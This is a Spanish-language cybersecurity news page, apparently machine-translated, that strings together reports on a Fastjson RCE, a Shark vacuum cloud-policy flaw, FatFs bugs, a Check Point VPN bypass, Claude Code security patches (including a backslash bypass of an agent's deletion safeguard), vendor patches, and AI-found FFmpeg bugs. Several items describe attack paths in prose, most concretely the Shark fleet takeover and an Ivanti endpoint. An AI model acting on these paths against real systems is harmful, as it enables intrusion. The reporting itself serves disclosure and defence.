Vulnerabilidad Fastjson 1.x RCE dirigida a ataques sin parches disponibles – CYBERDEFENSA.MX

Las firmas de seguridad ThreatBook e Imperva dicen que los atacantes están apuntando a una falla crítica en Fastjson, la biblioteca JSON de Alibaba para Java. En las aplicaciones Spring Boot afectadas, una solicitud JSON maliciosa puede ejecutar código sin autenticación, con los privilegios del proceso Java.

Seguimiento como CVE-2026-16723la vulnerabilidad tiene una puntuación CVSS de 9,0 asignada por Alibaba. La cadena confirmada requiere Fastjson 1.2.68 a 1.2.83, un fat-JAR ejecutable de Spring Boot, una ruta accesible en la red que envía JSON controlado por el atacante a un analizador afectado y SafeMode dejado en su valor predeterminado deshabilitado. AutoType puede permanecer deshabilitado y no se requiere ningún gadget de classpath.

Hasta el 25 de julio, Alibaba no había lanzado una versión fija de Fastjson 1.x. Las organizaciones que no pueden migrar inmediatamente deben habilitar SafeMode con -Dfastjson.parser.safeMode=true o usar com.alibaba:fastjson:1.2.83_noneautotype. Alibaba enumera la migración a Fastjson2 como la solución a largo plazo.

Alibaba publicó su aviso el 21 de julio tras la divulgación responsable por parte de Kirill Firsov de FearsOff Ciberseguridad. Los mantenedores describieron la vulnerabilidad como que no requiere «activación de AutoType» ni «ningún dispositivo classpath». Verificaron la cadena en Spring Boot 2.x, 3.xy 4.x con JDK 8, 11, 17 y 21.

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Firsov rastreó el problema hasta la ruta de resolución de tipos de Fastjson. Un atacante controlado @type El valor se puede convertir en una búsqueda de recursos de clase. En un fat-JAR Spring Boot compatible, una ruta JAR anidada diseñada puede recuperar el código de bytes controlado por el atacante. Un @JSONType La anotación en ese recurso se puede tratar como una señal de confianza, lo que permite que la clase pase las comprobaciones de tipo y la carga de Fastjson.

Su análisis técnico también describe una ruta JDK más nueva que descarga un JAR remoto y hace referencia a él a través de /proc/self/fd.

El exploit depende del cargador fat-JAR ejecutable de Spring Boot. Alibaba enumera los JAR simples, los uber-JAR genéricos y las implementaciones de Tomcat o Jetty WAR como no afectadas. Los puntos de entrada accesibles incluyen JSON.parse, JSON.parseObject(String)y JSON.parseObject(String, Class). Vincular la entrada a una clase fija no es suficiente cuando un objeto contiene una Object o Map campo donde se puede anidar la carga útil.

ThreatBook dijo el 22 de julio que su plataforma había capturado la explotación en estado salvaje después de agregar soporte de detección dos días antes. Sus resultados de laboratorio fueron más limitados: reprodujo la ejecución completa del código en un Spring Boot fat-JAR en JDK 8, mientras que su prueba Tomcat integrada produjo solo una búsqueda remota de JAR o una falsificación de solicitudes del lado del servidor.

Imperva reportado actividad contra servicios financieros, atención médica, informática, comercio minorista y otras organizaciones, principalmente en los Estados Unidos, con volúmenes más pequeños en Singapur y Canadá. Dijo que los imitadores de navegadores generaron la mayoría de las solicitudes, mientras que las herramientas Ruby y Go representaron alrededor del 30% en conjunto.

Ninguno de los proveedores publicó recuentos de ataques, solicitudes sin procesar, evidencia de ejecución, víctimas nombradas o compromisos confirmados. Sus informes establecen una actividad de explotación observada, no pruebas de una ejecución exitosa del código contra un objetivo del mundo real o una infracción.

un 23 de julio Evaluación CISA-ADP Sin embargo, marcó la explotación como none. The Hacker News confirmó el 25 de julio que la falla no estaba presente en el informe actual de CISA. Catálogo de vulnerabilidades explotadas conocidas. Las fuentes disponibles no explican el desajuste.

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The Hacker News tampoco encontró ningún artefacto Fastjson 1.x parcheado en el proyecto Etiquetas de GitHub o Repositorio central de Maven a partir del 25 de julio. La versión 1.2.83 sigue siendo la última versión estándar 1.x, mientras que 1.2.83_noneautotype sigue siendo la versión restringida disponible.

Las organizaciones deben inventariar las dependencias Fastjson directas y transitivas e inspeccionar los sistemas afectados en busca de sospechas. @type valores, URL JAR anidadas, conexiones salientes inesperadas, procesos secundarios, cambios de archivos y shells web. Fastjson2 no se ve afectado porque no utiliza la misma ruta de confianza basada en anotaciones o sondeo de recursos.

The Hacker News se comunicó con Alibaba para obtener aclaraciones sobre las versiones afectadas y los planes de parche Fastjson 1.x, y con Imperva para obtener detalles sobre la actividad de explotación reportada. Actualizaremos la historia con cualquier respuesta.

Fastjson 1.2.83 fue la actualización recomendada por Alibaba para una omisión de AutoType separada divulgada en 2022. Esa versión final 1.x ahora se encuentra dentro del rango afectado para CVE-2026-16723.

Una falla en la aspiradora Shark sin parches podría permitir a los atacantes controlar otras aspiradoras en toda la región – CYBERDEFENSA.MX

Retire el certificado del flash de un robot aspirador Shark RV2320EDUS y podrá ejecutar comandos raíz en los aspiradores Shark de otras personas en la misma región de AWS: mire la cámara, conduzca el robot, lea el mapa de la casa y tome la contraseña de Wi-Fi en texto plano.

Un investigador que publica bajo el nombre tokay0 poner el método en línea el lunes, después de haberlo probado sólo con aspiradoras que compró él mismo. El defecto no se solucionó entonces.

Dice que SharkNinja, la compañía detrás de las marcas de electrodomésticos Shark y Ninja, ha recibido su informe desde marzo.

La política adjunta a ese certificado nunca tuvo como alcance el dispositivo que lo posee. Preséntelo al corredor en la nube de Shark y el corredor aceptará todo lo que publique, dirigido a cualquier dispositivo al que sirva.

Sin corrupción de memoria, sin escalada de privilegios, sin contraseña que adivinar. El comando que se ejecuta es un campo normal en la sombra del dispositivo, el documento de estado por dispositivo que AWS mantiene en la nube.

Utilizando el certificado de un RV2320EDUS, el investigador se suscribió a $aws/things/# y observó el tráfico que cruzaba el corredor, recopilando números de serie a medida que avanzaba. La publicación funciona de la misma manera. La sombra lleva un campo Exec_Command que el demonio de administración appd lee y entrega a una función llamada ejecutar_command, que ejecuta cualquier cosa de menos de 1000 bytes a través de popen.

Envíe una actualización paralela que lleve ese campo al tema de un dispositivo. Si ese dispositivo implementa el controlador, ejecuta el comando.

Probó el camino entre modelos, colocando un proyectil inverso en un AV1102ARUS que compró simplemente como objetivo, y luego usó ese proyectil para obtener una transmisión en vivo de la cámara integrada del modelo mientras el robot conducía.

El certificado se quita con un destornillador. La placa base expone los pines UART, la consola U-Boot no solicita contraseña e init=/bin/sh en los argumentos de arranque lo lleva a un shell raíz, donde la clave por dispositivo y el certificado se encuentran en /mnt/res/vapp/certs/ como archivos normales.

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Los certificados están fijados a su región de AWS, lo más parecido aquí a un límite: una clave levantada en una región solo llega a los dispositivos de esa región. Para llegar a otra región se necesita otro certificado, aprovisionado allí, y que lleva la misma política rota.

Amazon tiene una verificación de auditoría para esta forma de política exacta. Device Defender, el servicio de auditoría de flotas de IoT de AWS, marca políticas de dispositivos que permiten publicar o suscribirse en $aws/things/* en lugar de fijar el tema al dispositivo que se conecta con ${iot:Connection.Thing.ThingName}.

Aparece como IOT_POLICY_OVERLY_PERMISSIVE_CHECK y AWS lo califica como crítico, advirtiendo en su documentacion que un certificado comprometido que lleva dicha política permite a un atacante «leer o modificar sombras, trabajos o ejecuciones de trabajos para todos sus dispositivos».

No todos los certificados son una clave maestra. Un vacío cuyo certificado lleva la política rota es la clave de un atacante. Cualquier vacío que ejecute Exec_Command es un objetivo, independientemente de si su propio certificado tiene el alcance correcto o no. El AV1102ARUS es un destino y no una clave: su certificado tenía el alcance correcto y no se pudo realizar una suscripción comodín. Su firmware era varios años más nuevo.

Él lo interpreta como una solución de aprovisionamiento que nunca alcanzó los certificados de la flota más antigua. Es por eso que el modelo cruzado funcionó, y por qué su afirmación de que cada aspiradora Shark conectada a Internet es vulnerable debe dividirse en dos.

El titular de su publicación dice millones. La cifra que verificó es más estrecha. Al observar una región de AWS durante 24 horas, tokay0 contó 1.517.605 números de serie únicos de Shark, de los cuales 673.816, o el 44%, emitieron un Exec_Response, que considera como una confirmación de que el dispositivo ejecuta el controlador de comandos. Se trata de dispositivos observados respondiendo, no dispositivos probados o comprometidos, y dice que el número real probablemente sea mayor.

Cuatro meses y contando

Según el relato de la correspondencia de tokay0, se comunicó con SharkNinja el 1 de marzo y envió detalles el 11 de marzo. La compañía acusó recibo al día siguiente, le dijo el 27 de abril que el informe estaba bajo revisión y el 3 de julio dijo que enviaría una fecha de finalización confirmada para el viernes 10 de julio. No llegó ningún correo electrónico.

Lo publicó el 13 de julio. Dice que el proveedor minimizó la gravedad y cuestionó si «un CVE es apropiado».

En lo que respecta específicamente a los informes de IoT, SharkNinja publicó política de divulgación de vulnerabilidades compromete a la empresa a «proporcionar actualizaciones periódicas hasta que se resuelva la vulnerabilidad informada». La misma política pide a los investigadores que permanezcan en silencio hasta que la empresa confirme una solución o autorice la divulgación por escrito.

SharkNinja no había publicado nada sobre el defecto hasta el jueves. The Hacker News se comunicó con la compañía para comentar sobre el estado del parche y el cronograma de divulgación, y actualizará esta historia con cualquier respuesta.

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Tampoco hay CVE. Le pidió una identificación al CNA de último recurso de MITRE, el asignador que maneja las vulnerabilidades que ningún proveedor cubre, el 11 de junio y no había escuchado nada cuando publicó. Sin identificador, sin CVSS, sin aviso: nada que un programa de gestión de vulnerabilidades pueda ingresar.

La solución está en el lado del servidor

La solución no la debe instalar el propietario. Vive en la cuenta AWS de SharkNinja, no en el firmware del robot. Según AWS guía de remediaciónuna política que no cumple se reemplaza al enviar una versión con alcance con CreatePolicyVersion y el indicador setAsDefault, lo que hace que esa versión sea operativa para todos los certificados que usan la política.

No se requiere implementación de firmware. Reemitir los certificados correctamente, algo que tokay0 recomendó en marzo, es el trabajo más largo que hay detrás.

Hasta que SharkNinja haga una u otra cosa, la única mitigación disponible para el propietario es desconectar la aspiradora del Wi-Fi. Esto pone fin al control de aplicaciones, la programación y los mapas, y convierte el producto nuevamente en un vacío.

tokay0 retuvo sus guiones mientras la falla esté activa. Consideró que sus otros hallazgos eran demasiado menores para escribirlos.

Tampoco examinó el resto de la línea conectada de SharkNinja, las parrillas inteligentes y las sondas inalámbricas para carne, que, según él, probablemente también sean vulnerables. Esos productos provienen de la misma empresa cuya política promete actualizaciones periódicas hasta que se resuelva una falla. Cuatro meses después, éste no lo es.

Defectos sin parches revelados en sistemas de archivos incluidos en millones de dispositivos integrados – CYBERDEFENSA.MX

La empresa de seguridad runZero ha revelado siete vulnerabilidades en Gordosuna pequeña biblioteca de sistema de archivos que permite que un dispositivo lea y escriba los formatos FAT y exFAT utilizados en unidades USB y tarjetas SD.

Los defectos son importantes porque los FatF están en casi todas partes. Se envía dentro del firmware que ejecuta cámaras de seguridad, drones, controladores industriales, billeteras criptográficas de hardware y otros dispositivos integrados en sistemas operativos en tiempo real.

En los sistemas más afectados, un atacante que introduce una unidad USB, una tarjeta SD o un archivo de actualización con trampa explosiva en un dispositivo puede dañar su memoria y ejecutar su propio código.

Muchos dispositivos integrados carecen de las protecciones de memoria que se encuentran en los teléfonos y computadoras de escritorio, razón por la cual runZero dice «Cualquier acceso físico conduce a una fuga». Un quiosco público, una cámara con ranura SD, un cajero automático o una máquina de votación con puerto USB no deberían ceder el control total después de un momento de acceso físico, pero aquí sí pueden.

Los siete errores funcionan de la misma manera básica. El dispositivo intenta leer un volumen de almacenamiento o una imagen de firmware que ha sido deliberadamente mal formado y FatFs maneja mal los datos incorrectos. runZero calificó el conjunto CVSS de medio a alto, sin críticas.

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El error del titular es CVE-2026-6682 (CVSS 7.6), un desbordamiento de números enteros en el código que monta un volumen FAT32. Los malos cálculos pueden producir un tamaño de archivo falso, que el código posterior trata como una longitud de lectura real. En hardware real, esto puede convertirse en corrupción de memoria y ejecución de código.

Aquí están los siete, los peores primero según la clasificación de runZero:

  • CVE-2026-6682 (7.6, Alto): Desbordamiento de enteros de montaje FAT32 que provoca daños en la memoria y posible ejecución de código. Accesible a través de algunas actualizaciones de firmware, no solo de medios físicos.
  • CVE-2026-6687 (7.6, Alto): un campo de etiqueta de volumen exFAT desborda un pequeño búfer, lo que le da al atacante un punto de apoyo limpio para la corrupción de la memoria.
  • CVE-2026-6688 (7.6, Alto): Los nombres de archivos largos desbordan el código contenedor que muchos proyectos colocan alrededor de FatF, como un strcpy de fno.fname en un búfer fijo. Es difícil de solucionar solo dentro de los FatF.
  • CVE-2026-6685 (6.1, Medio): un ajuste matemático en el manejo de caché en volúmenes fragmentados que pueden corromper datos silenciosamente.
  • CVE-2026-6683 (4.6, Medio): una división exFAT por cero que bloquea el dispositivo. En un flujo de actualización, puede bloquear el hardware. También se puede acceder a través de algunas actualizaciones de firmware.
  • CVE-2026-6686 (4.6, Medio): un archivo extendido más allá de su final puede filtrar datos sobrantes de archivos eliminados previamente.
  • CVE-2026-6684 (4.6, Medio): una tabla de particiones GPT mal formada (el mapa del disco) puede bloquear el dispositivo durante el montaje. Es el único de los siete fijados en sentido ascendente, en FatFs R0.16.

Aquí está la parte difícil. FatFs es mantenido por un desarrollador en un pequeño rincón de Internet, y runZero dice que intentó repetidamente comunicarse con el mantenedor y se conectó con el centro de coordinación JPCERT/CC de Japón, sin respuesta.

Según runZero, no existe una solución inicial para los errores de corrupción de memoria, no hay una lista de correo de seguridad y no hay forma de que los muchos productos que incluyen FatF sepan que están afectados. La actualización ayuda con el bloqueo de GPT, ya que la versión actual lo bloquea, pero el resto corresponde a los proveedores intermedios para parchearlo por su cuenta.

runZero nombra las plataformas afectadas, incluidas Espressif ESP-IDF, STMicroelectronics STM32Cube, Zephyr, MicroPython, ArduPilot, RT-Thread, Mbed, Samsung TizenRT y el actualizador SWUpdate. Eso lleva el problema al IoT de consumo, los equipos industriales, los drones y las carteras criptográficas.

Hasta la divulgación de runZero el 1 de julio, no se habían reportado ataques que utilizaran estos errores y ninguno ha aparecido desde entonces. Pero el material del exploit ya es público: runZero envió imágenes de disco de prueba de concepto, un arnés de prueba y un ejemplo funcional de exploit basado en QEMU en un repositorio complementario.

Si crea firmware que toca medios FAT o exFAT, el consejo es directo. Encuentre la copia de FatF en su producto, audite el código contenedor que la rodea, observe detenidamente cómo maneja los nombres y tamaños de los archivos y planee aplicar parches.

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Si ejecuta dispositivos afectados, trate los puertos físicos y los canales de actualización como una superficie de ataque: limite quién puede conectar medios y esté atento a las actualizaciones de firmware de los proveedores.

¿Por qué esto sigue sucediendo?

runZero auditó manualmente los FatF por primera vez en 2017 y encontró que poco valía la pena informar. Al regresar en marzo de 2026, el equipo señaló una configuración lista para usar con el mismo código: Visual Studio Code, GitHub Copilot en modo «automático» y algunas indicaciones sencillas.

El LLM creó un fuzzer, una herramienta que introduce datos mal formados en el código hasta que algo se rompe. Eso sacó a la luz errores que la auditoría manual había pasado por alto y ayudó a confirmar que eran explotables.

Eso se ajusta a un patrón creciente. A finales de 2024, el agente Big Sleep de Google encontró un error de memoria real y explotable en SQLite que la fuzzing ordinaria no había detectado.

El mes pasado, un agente autónomo de IA descubrió 21 errores de seguridad de la memoria en FFmpeg, otra biblioteca C ampliamente integrada. El punto de runZero es contundente: si un canal de IA en su mayoría disponible en el mercado puede encontrarlos, cualquiera también puede hacerlo, por lo que sentarse en ellos silenciosamente no protege a nadie.

El problema de los parches es familiar. runZero espera que las correcciones posteriores lleven años, no días, y PixieFail es el precedente: un lote de nueve errores en 2024 en el código de arranque de red de EDK II, el firmware detrás de muchas marcas de PC y servidores, que los proveedores tardaron en parchar. Los FatF tienen la misma forma y un canal de solución más débil, porque no hay ninguna respuesta ascendente.

Esté atento a dos cosas: si el mantenedor de FatFs resurge con un parche y cómo responden los grandes proveedores de plataformas que lo agrupan. Hasta que lo hagan, supongamos que muchos dispositivos de envío leen almacenamiento que no es de confianza con un código que no tiene solución.

¿Por qué las directivas de parches sólo llegan hasta cierto punto?

Cuando CISA emite una directiva de emergencia, el mensaje para cada agencia federal y cada equipo de seguridad que preste atención es parchear ahora. Para CVE-2026-50751, una omisión de autenticación CVSS 9.3 en Check Point Remote Access VPN, esa directiva llegó el 21 de junio, a pesar de que la explotación comenzó a principios de mayo. Esa brecha de seis semanas de intrusión activa no es una nota a pie de página. Es la historia completa.

El defecto en sí es sencillo de la peor manera posible. Un error lógico en el proceso de validación de certificados, desencadenado cuando el protocolo de intercambio de claves IKEv1 obsoleto está habilitado, permite a un atacante remoto establecer una sesión VPN completamente autenticada sin una contraseña válida. Sin phishing. Sin robo de credenciales. No se requiere movimiento lateral para llegar al perímetro. El atacante cruza la puerta principal y la puerta lo registra como una entrada legítima.

Cuando Check Point reveló la vulnerabilidad el 8 de junio, un afiliado de ransomware Qilin ya la había utilizado para comprometer unas pocas docenas de organizaciones en todo el mundo. El manual posterior al acceso fue eficiente e incluyó Rclone para la exfiltración de datos, el protocolo Tox para la comunicación de comando y control enrutada a través de una infraestructura VPS desechable. Silencioso, rápido y diseñado para completar el trabajo antes de que la detección tuviera la oportunidad de importar.

El producto de seguridad se convirtió en el vector de ataque.

Hay una ironía particular en CVE-2026-50751 con la que la industria debe sentarse. El dispositivo que fue vulnerado no es una estación de trabajo sin parches ni un depósito de nube mal configurado. Es la puerta de enlace VPN, el producto vendido específicamente para mantener a los atacantes fuera del perímetro. El control diseñado para impedir el acceso no autorizado se convirtió en el mecanismo del mismo.

Esto no es exclusivo de Check Point y no es una crítica a ningún proveedor en particular. Refleja un problema estructural con la arquitectura de seguridad dependiente del perímetro. Cuando el dispositivo perimetral es el ancla de confianza, comprometer ese dispositivo no sólo viola el perímetro. Hereda la autoridad del perímetro. Cada control posterior, cada verificación de identidad, cada herramienta de detección basada en el comportamiento ahora razona sobre una sesión que cree que es legítima, porque la VPN así lo dice.

Esa es la condición que aprovechó Qilin. Y parchear la vulnerabilidad, si bien es absolutamente necesario, no hace nada para cambiar la posición de las organizaciones que fueron atacadas durante el período de mayo a junio. Para ellos, el atacante ya actúa como un usuario de confianza. La directiva CISA no es un remedio para estas organizaciones. Es un mensaje para todos los demás.

Por qué la respuesta estándar se queda corta

La secuencia estándar después de una divulgación como esta es una que todos hemos escuchado antes: parchear los sistemas afectados, actualizar las firmas de detección, revisar los registros en busca de indicadores de compromiso. Si bien cada uno de estos pasos es una buena práctica, ninguno de ellos resuelve el problema subyacente.

Parchar cierra la puerta a futuros atacantes, pero no desaloja a los que ya están dentro. Las firmas de detección ayudan a identificar el comportamiento conocido posterior a la explotación, pero los afiliados de ransomware han demostrado una disciplina operativa constante, utilizando herramientas legítimas para la exfiltración y protocolos estándar de comando y control precisamente porque estos enfoques se mezclan con el tráfico normal. La revisión de registros es valiosa, pero los atacantes que explotaron la vulnerabilidad tuvieron semanas de acceso antes de que alguien mirara.

El modelo de detección y respuesta supone que la detección llega antes de que se complete el daño. Frente a un día cero armado con una ventaja de seis semanas, esa suposición no se cumple. Cuando se activa una alerta, los datos se han movido. El ransomware está preparado. El reloj del rescate ha comenzado.

Hacer que el punto final sea más difícil de explotar

La vulnerabilidad de Check Point obliga a una pregunta crítica: ¿cómo se detiene la ejecución de la carga útil cuando un atacante ya logró la autenticación y eludió todas las demás defensas?

Requiere mover la capa defensiva al propio punto final, en el punto de ejecución, donde la carga útil del ransomware tiene que operar independientemente de cómo se obtuvo el acceso. Las técnicas que transforman el entorno de la memoria de ejecución, transformando las estructuras que el malware necesita encontrar y utilizar en el momento de la ejecución, detienen la carga útil de manera determinista. El atacante puede tener credenciales autenticadas, una sesión legítima y semanas de acceso no detectado. Si el entorno de destino no se parece a lo que espera la carga útil, ésta falla.

Esto no reemplaza los parches. Las organizaciones deben aplicar la solución Check Point de inmediato y deben tratar cualquier sistema con IKEv1 habilitado durante el período de mayo a junio como potencialmente comprometido. Pero aplicar parches es el comienzo, ya que las organizaciones que estaban dentro de la ventana de explotación de seis semanas necesitan un control que funcione después de que el perímetro haya desaparecido.

La lección antes de la próxima directiva

CISA emitirá otra directiva de emergencia. Habrá otra omisión de autenticación, otro dispositivo perimetral convertido en vector de ataque, otro actor de amenazas motivado financieramente con una ventaja medida en semanas. El ciclo de parchear y detectar se repetirá, y las organizaciones cuya exposición se gestionaba completamente en el perímetro se encontrarán en la misma posición.

La lección aquí no es que Check Point falló o que las VPN se acabaron. Es que cualquier arquitectura en la que una única omisión de autenticación le otorga al atacante autoridad operativa sobre todo el entorno tiene un problema estructural que ningún parche resuelve. Es necesario cerrar la puerta. Asegurarse de que el ransomware no pueda detonar incluso después de que el atacante esté dentro es la parte que la industria aún no ha resuelto a escala.

Ésa es la conversación que la directiva CISA debería iniciar, y en la mayoría de los casos no lo hace.

Brad La Porte

Escrito por Brad LaPorte

Brad LaPorte es director de marketing de Morphisec.

La constante rutina de parches de la IA puede ser un problema de seguridad

Mientras Washington DC se preocupa por el impacto potencial de Claude Fable 5 de Anthropic, los investigadores de seguridad continúan rastreando cómo la integración de herramientas de inteligencia artificial de vanguardia está transformando el panorama de la seguridad digital tanto para los piratas informáticos como para los defensores maliciosos.

La velocidad vertiginosa de los lanzamientos de modelos puede estar creando brechas de seguridad breves y silenciosas para los desarrolladores que deben elegir entre rendimiento y seguridad, según un nuevo estudio. informe.

Los investigadores de Backslash Security examinaron minuciosamente los registros de actualización de Claude Code, el modelo de codificación insignia de Anthropic, y descubrieron que la compañía estaba parcheando docenas de vulnerabilidades de seguridad recientemente descubiertas en el programa entre abril y principios de junio de 2026.

Los registros revelaron los detalles de más de 30 parches relevantes para la seguridad implementados durante ese período, pero Anthropic no los hizo públicos. En cambio, los investigadores de Backslash Security los encontraron revisando los registros de actualización de cada nueva versión de un lanzamiento de Claude Code en los últimos dos meses, anotaron las correcciones relevantes para la seguridad y rastrearon cada una hasta la versión y la fecha de envío.

Los parches incluían correcciones para vulnerabilidades de envenenamiento de datos, inyección rápida y ejecución de código arbitrario. Uno evitó las salvaguardias centrales implementadas para evitar que Claude Code acepte comandos de eliminación catastróficos, como borrar una base de código completa, agregando una sola barra invertida al comando. Otro filtró las credenciales de OAuth del usuario, mientras que un tercero permitió que un agente de inteligencia artificial colocara una puerta trasera en los archivos de inicio del shell.

No hay nada intrínsecamente extraño en esto: la mayoría de las empresas actualizan y parchean su software periódicamente y cualquiera que tuviera las actualizaciones automáticas activadas pasaría automáticamente a la versión más nueva y segura de Claude Code.

Pero Yossi Pik, cofundador y director de tecnología de Backslash Security, dijo a CyberScoop que la investigación concluyó que «la forma en que se liberan los agentes de IA es diferente al software anterior».

«Debatimos internamente, porque cuando originalmente dije que quería escribir sobre esto, me dijeron: 'Está bien, cada empresa tiene la [same] problema, luego parchean y solucionan», dijo. «Esta es la naturaleza del software, pero creo que lo que lo hace único es la cadencia y frecuencia de los lanzamientos».

Las empresas de IA mantienen un ritmo feroz a la hora de actualizar sus modelos. El código de Claude registro de cambios indica que ha habido 16 versiones diferentes hasta la primera quincena de junio, mientras que el Codex de OpenAI fue actualizado 6 veces.

Debido a que las actualizaciones de modelos a menudo traen problemas de rendimiento y estabilidad a corto plazo, los desarrolladores de software suelen esperar una semana o más antes de actualizar a una nueva versión.

Estos intervalos de tiempo crean pequeñas ventanas de vulnerabilidad y obligan a los desarrolladores a elegir entre seguridad y rendimiento. El informe identifica varias razones por las que los desarrolladores no actualizan automáticamente sus modelos de IA, incluidas las empresas que pueden depender de investigaciones internas o calendarios de lanzamiento, operan en entornos regulados o aislados donde las versiones de los modelos están congeladas, necesitan mantener sesiones de larga duración o utilizar instalaciones manuales.

Pik dijo que algunos equipos de TI y seguridad también le han dicho que prefieren no instalar ninguna versión nueva de un modelo de IA sin dejar que se ejecute primero en otros entornos.

“No tienes tanta flexibilidad, o voy a la última versión y obtengo una versión menos estable [of the model’ or I’m waiting for a few days or week until I can install it, and hope that nothing would happen during this time,” said Pik.

 The Backslash report is not intended as a dig at the security rigor of Anthropic, noting the company tends to “patch fast and document more than anyone” and has addressed every issue and vulnerability identified in the report.

Rather, it’s to highlight the series of mostly silent and persistent security exposures that an organization faces when adopting AI into their workflow.

Other software programs and technology products face similar tradeoffs through different updates, but most of the vulnerabilities detailed in the change log – such as getting an agent to leak data or accept malicious prompts – are unique to large language models and AI systems.

That means integrating AI tools can bring new security problems to an organization, both from outsiders who can poison or influence the model and insiders who can maliciously or accidentally direct the model to access or leak systems, data and identities.

For most Claude Code users, this process runs automatically in the background. Yet Yik points out that just as AI is transforming work itself,  it’s also changing how we need to approach software security and updates.

“It should not be compared to [Microsoft] Office que se instala y se parchea de vez en cuando», dijo. «Es una bestia completamente diferente que sigue evolucionando y no queremos limitarlo… Creo que es fantástico para todos. Sólo tenemos que asegurarnos de hacerlo de forma segura, y cada organización debe entender lo que eso significa para ella”.

Derek B. Johnson

Escrito por Derek B. Johnson

Derek B. Johnson es reportero de CyberScoop, donde su área incluye la ciberseguridad, las elecciones y el gobierno federal. Antes de eso, ha brindado una cobertura galardonada de noticias sobre ciberseguridad en los sectores público y privado para varias publicaciones desde 2017. Derek tiene una licenciatura en periodismo impreso de la Universidad de Hofstra en Nueva York y una maestría en políticas públicas de la Universidad George Mason en Virginia.

Ivanti, Fortinet y SAP lanzan parches para múltiples vulnerabilidades críticas – CYBERDEFENSA.MX

Fortinet, Ivanti y SAP han lanzado actualizaciones de seguridad para abordar múltiples vulnerabilidades de seguridad críticas que podrían resultar en la ejecución de código arbitrario y la divulgación de información.

La falla de seguridad parcheada por Fortinet se relaciona con una vulnerabilidad de inyección de comandos en FortiSandbox, FortiSandbox Cloud y FortiSandbox PaaS WEB UI. Se rastrea como CVE-2026-25089 (Puntuación CVSS: 9,1).

«Una neutralización inadecuada de elementos especiales utilizados en una vulnerabilidad de comando del sistema operativo [CWE-78] en FortiSandbox, FortiSandbox Cloud y FortiSandbox PaaS WEB UI pueden permitir que un atacante no autenticado ejecute comandos no autorizados a través de solicitudes HTTP específicamente diseñadas», Fortinet dicho.

El problema afecta a los siguientes productos y versiones:

  • FortiSandbox 5.0.0 a 5.0.5 (Actualice a 5.0.6 o superior)
  • FortiSandbox 4.4.0 a 4.4.8 (Actualice a 4.4.9 o superior)
  • FortiSandbox Cloud 5.0.4 a 5.0.5 (Actualice a 5.0.6 o superior)
  • FortiSandbox PaaS 5.0.4 a 5.0.5 (actualización a 5.0.6 o superior)
Ciberseguridad

El martes, Ivanti también publicado correcciones para dos fallas de seguridad críticas que afectan a Ivanti Sentry (anteriormente MobileIron Sentry):

  • CVE-2026-10520 (Puntuación CVSS: 10.0): una vulnerabilidad de inyección de comandos del sistema operativo anterior a las versiones R10.5.2, R10.6.2 y R10.7.1 que permite a un usuario remoto no autenticado lograr la ejecución remota de código a nivel raíz.
  • CVE-2026-10523 (Puntuación CVSS: 9,9): una vulnerabilidad de omisión de autenticación anterior a las versiones R10.5.2, R10.6.2 y R10.7.1 que permite a un atacante remoto no autenticado crear cuentas administrativas arbitrarias y obtener acceso administrativo completo.

watchTowr Labs, que publicó detalles adicionales de CVE-2026-10520, dijo que un atacante podría explotar la vulnerabilidad emitiendo una solicitud HTTP especialmente diseñada al punto final «/mics/api/v2/sentry/mics-config/handleMessage», que luego se interpreta como un comando de configuración MICS y se ejecuta mediante un componente backend llamado «handleExecute()».

El parche enviado por Ivanti incorpora controles adicionales que bloquean el acceso al punto final vulnerable, lo que provoca que las solicitudes no autenticadas sean redirigidas a la página de inicio de sesión.

«Ivanti no sólo eliminó el control del atacante sobre la ruta de ejecución vulnerable», dijo el investigador de seguridad Sonny Macdonald. dicho. «También agregaron una capa de protección delante para hacer que llegar al punto final sea significativamente más difícil. En otras palabras: agregaron autenticación».

Completando la lista de actualizaciones está SAP, que correcciones expulsadas para cuatro vulnerabilidades críticas en NetWeaver AS ABAP y ABAP Platform, así como en SAP Commerce Cloud y SAP Data Hub:

  • CVE-2026-44748 (Puntuación CVSS: 9,9) – Vulnerabilidad de ajuste de firma XML en la autenticación SAML en SAP NetWeaver AS ABAP y plataforma ABAP
  • CVE-2026-27671 (Puntuación CVSS: 9,8) – Vulnerabilidad de corrupción de memoria en el servidor de aplicaciones ABAP de SAP NetWeaver y la plataforma ABAP
  • CVE-2026-22732 (Puntuación CVSS: 9,1) – Posible vulnerabilidad de seguridad de Spring dentro de SAP Commerce Cloud y SAP Data Hub
  • CVE-2026-40128 (Puntuación CVSS: 9.0) – Vulnerabilidad de cruce de directorios en SAP NetWeaver Application Server Java (contenedor web)
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«La aplicación permite a un atacante autenticado con privilegios normales obtener un mensaje firmado válido y enviar documentos XML firmados modificados con información de identidad manipulada al verificador», dijo la empresa de seguridad SAP Onapsis. dicho.

«Debido a una verificación inadecuada de la firma XML, se acepta la información de identidad manipulada, lo que conduce a un acceso no autorizado a datos confidenciales del usuario y a una posible interrupción del uso normal del sistema».

En cuanto a CVE-2026-27671, el defecto permite que un atacante no autenticado envíe una solicitud RFC diseñada que explota cómo el kernel de SAP valida el protocolo RFC para lograr corrupción de memoria.

No hay evidencia de que alguno de los defectos antes mencionados haya sido explotado en la naturaleza. Sin embargo, siempre es una práctica segura actualizar a la última versión para una protección óptima.

Un agente de IA descubre 21 días cero en FFmpeg; Los parches de Chrome registran 429 errores – CYBERDEFENSA.MX

Dos cosas aterrizaron con unos días de diferencia esta semana. Una startup de seguridad informó de 21 vulnerabilidades previamente desconocidas en FFmpeg, la biblioteca multimedia que se encuentra dentro de casi todo lo relacionado con el vídeo, todas ellas encontradas por un agente autónomo de IA.

La misma semana, Google envió Cromo 149 con parches para 429 errores de seguridad, la mayor cantidad jamás realizada en una sola versión.

La IA solo encontró los errores de FFmpeg. El récord de Chrome llegó después de que Google revisara su programa de recompensas para hacer frente a una avalancha de informes generados por IA. Los mecanismos difieren, pero la presión es la misma: la IA está poniendo más vulnerabilidades ante las personas que tienen que lidiar con ellas, y más rápido que antes.

Los hallazgos de FFmpeg provienen de profundidad primerocuyo agente de seguridad autónomo escaneó aproximadamente 1,5 millones de líneas de C del proyecto y produjo 21 días cero confirmados, cada uno con una entrada de prueba de concepto reproducible.

La empresa calcula el coste de la ejecución en unos 1.000 dólares. Varios de los errores habían estado latentes durante 15 a 20 años; un desbordamiento de pila en el código de la tabla de descripción de servicios data de 2003 y permaneció intacto durante 23 años.

